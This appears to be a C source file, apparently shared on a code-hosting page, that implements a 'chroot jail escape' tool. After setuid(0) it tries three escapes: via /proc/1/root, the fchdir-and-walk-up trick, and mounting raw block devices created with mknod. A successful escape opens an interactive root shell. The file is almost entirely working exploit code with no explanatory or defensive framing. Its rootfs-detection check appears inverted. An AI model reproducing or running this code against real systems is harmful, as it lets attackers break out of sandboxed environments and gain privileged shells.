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chroot jail escape methods
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/* | |
* Simple chroot jail escape | |
* Copyright (c) 2015, Alexandre Hamelin <alexandre.hamelin gmail.com> | |
*/ | |
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <fcntl.h> | |
#include <string.h> | |
#include <sys/stat.h> | |
#include <sys/types.h> | |
#include <sys/mount.h> | |
int shell() | |
{ | |
int ret; | |
printf("Succeeded. Here's a shell.\n"); | |
ret = execl("/bin/sh", "sh", "-i", NULL); | |
perror("execl"); | |
return ret; | |
} | |
int chdir_escape() | |
{ | |
int ret; | |
char tmpl[] = "esc.XXXXXXXXXXXXXXXX", *retp; | |
retp = mkdtemp(tmpl); | |
if (retp == NULL) { | |
perror("mkdtemp"); | |
return 1; | |
} | |
int fd = open(".", O_RDONLY); | |
if (fd < 0) { | |
perror("open"); | |
return 1; | |
} | |
ret = chroot(retp); | |
if (ret < 0) { | |
perror("chroot"); | |
return 1; | |
} | |
ret = fchdir(fd); | |
if (ret < 0) { | |
perror("fchdir"); | |
return 1; | |
} | |
close(fd); | |
rmdir(retp); | |
struct stat curr, parent; | |
while (stat(".", &curr) == 0 && stat("..", &parent) == 0 && | |
curr.st_ino != parent.st_ino) { | |
ret = chdir(".."); | |
if (ret < 0) { | |
perror("chdir"); | |
return 1; | |
} | |
} | |
ret = chroot("."); | |
if (ret < 0) { | |
perror("chroot"); | |
return 1; | |
} | |
ret = shell(); | |
return ret; | |
} | |
int proc_escape() | |
{ | |
struct stat st_init, st_root; | |
char *init_root; | |
int ret; | |
stat("/", &st_root); | |
ret = stat("/proc/1/root", &st_init); | |
if (ret == 0 && st_init.st_ino != st_root.st_ino) { | |
ret = chroot("/proc/1/root"); | |
if (ret < 0) { | |
perror("chroot"); | |
return ret; | |
} | |
ret = shell(); | |
return ret; | |
} | |
/* fails since /proc/1/root == / or /proc is not mounted*/ | |
return -1; | |
} | |
int mount_fs(dev_t dev, const char *fstype, const char *mnt) | |
{ | |
int ret; | |
const char *syscall; | |
mkdir(mnt, 0755); | |
ret = mknod("/device", S_IFBLK | 0600, dev); | |
if (ret == 0) { | |
ret = mount("/device", mnt, fstype, MS_MGC_VAL | MS_NOATIME, NULL); | |
syscall = "mount"; | |
} | |
else | |
syscall = "mknod"; | |
if (ret < 0) { | |
perror(syscall); | |
unlink("/device"); | |
} | |
return ret; | |
} | |
int isrootfs(const char *mnt) | |
{ | |
char *dirs[] = { "proc", "dev", "home", "usr", "var" }; | |
const int dir_count = sizeof(dirs) / sizeof(dirs[0]); | |
char path[100]; | |
int i; | |
int err = 0; | |
for (i = 0; i < dir_count; i++) { | |
struct stat st; | |
strcpy(path, mnt); | |
strcat(path, "/"); | |
strcat(path, dirs[i]); | |
err |= stat(path, &st); | |
} | |
return err; | |
} | |
int mount_escape() | |
{ | |
dev_t devs[] = {makedev(8, 0), makedev(8, 1), makedev(8, 2)}; | |
const int dev_count = sizeof(devs) / sizeof(devs[0]); | |
char *fs_types[] = { "ext4", "ext3", "ext2", "reiserfs", "xfs" }; | |
const int fs_count = sizeof(fs_types) / sizeof(fs_types[0]); | |
int i, j, ret; | |
const char *mnt = "/mnt"; | |
mkdir(mnt, 0755); | |
for (i = 0; i < dev_count; i++) { | |
for (j = 0; j < fs_count; j++) { | |
ret = mount_fs(devs[i], fs_types[j], mnt); | |
if (ret == 0) { | |
if (isrootfs(mnt)) { | |
printf("found a potential rootfs\n"); | |
chroot(mnt); | |
chdir("/"); | |
ret = shell(); | |
} | |
umount(mnt); | |
} | |
} | |
} | |
umount(mnt); | |
unlink("/device"); | |
rmdir(mnt); | |
return ret; | |
} | |
int main(int argc, char **argv) | |
{ | |
int ret; | |
ret = setuid(0); | |
if (ret < 0) { | |
perror("setuid"); | |
return 1; | |
} | |
int (*methods[])() = {proc_escape, chdir_escape, mount_escape, NULL}, | |
(**funcp)(); | |
for (funcp = methods; *funcp != NULL; funcp++) { | |
ret = (*funcp)(); | |
} | |
return ret; | |
} |
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